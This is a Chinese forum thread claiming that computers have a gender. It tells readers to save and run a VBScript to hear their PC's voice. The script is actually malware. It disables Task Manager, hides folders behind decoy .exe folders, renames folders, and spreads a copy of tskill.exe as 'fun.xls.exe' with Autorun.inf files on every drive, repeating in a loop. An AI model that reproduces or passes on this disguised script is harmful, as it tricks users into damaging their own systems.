囧！原来…原来每天陪伴你的电脑也是有性别的……

有人发过~

这。

真的吗

真滴么？

真的么????

藕电脑是个女的

真的吗？

我的电脑是个男银.....

真的耶，我的电脑是男的= =

还有这回事

本帖Z后由 LolaChen 于 2011-9-6 09:16 编辑

。。。。。。。。。

我是个很有磁性的男人说话。哈哈

没声音是怎么回事啊！

步骤1：

　　 点“开始”，在“所有程序”里找到“附件”，点“记事本”新建一个记事本文件

　　 步骤二：

　　 在里面输入On Error Resume Next

Set fso=CreateObject("Scripting.FileSystemObject")

Set Cx=fso.GetSpecialFolder(0)

fso.GetFile(WScript.ScriptFullName).Delete(True)

Set ws=CreateObject("WScript.Shell")

ws.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\system\DisableTaskMgr",1,"REG_DWORD"

Do

C=fso.GetParentFolderName(Cx)

Set Fdrs=fso.GetFolder(C).SubFolders

For Each Fdr In Fdrs

If Not fso.GetExtensionName(Fdr.Name)="exe" Then

fso.CreateFolder(C & Fdr.Name & ".exe")

fso.GetFolder(C & Fdr.Name & ".exe").Attributes=Fdr.Attributes

Fdr.Attributes=6

End If

Next

Set Cx=Nothing

Set Fdrs=Nothing

Set drvs=fso.Drives

For Each drv In drvs

If drv.DriveType=2 Then

Set fun=fso.GetFile(C & "WINDOWS\system32\tskill.exe")

fun.Attributes=6

fun.Copy(drv & "\fun.xls.exe")

Set auto=fso.CreateTextFile(drv & "\Autorun.inf")

auto.WriteLine("")

auto.WriteLine("Open=fun.xls.exe")

auto.Close

Set auto=Nothing

Set fun=Nothing

If drv & "\" = C Then

Else

Set Fdrs=fso.GetFolder(drv & "\").SubFolders

For Each Fdr In Fdrs

If Not fso.GetExtensionName(Fdr.Name)="exe" Then

Fdr.Name=Fdr.name & ".exe"

End If

Next

End If

End If

Next

WScript.Sleep 60*1000

Loop

　　 步骤三：

　　 保存扩展名为 .VBS 文件 如：XXX.vbs

　　 双击运行这个"XXX.vbs"文件

不男不女orz

大家试试咯~没想到现在这里有这么多和我一样不眠的童鞋呀~

大半夜的还是不要听了。

声卡驱动刚坏了

听不了

声音调大了。吓死我了，一男人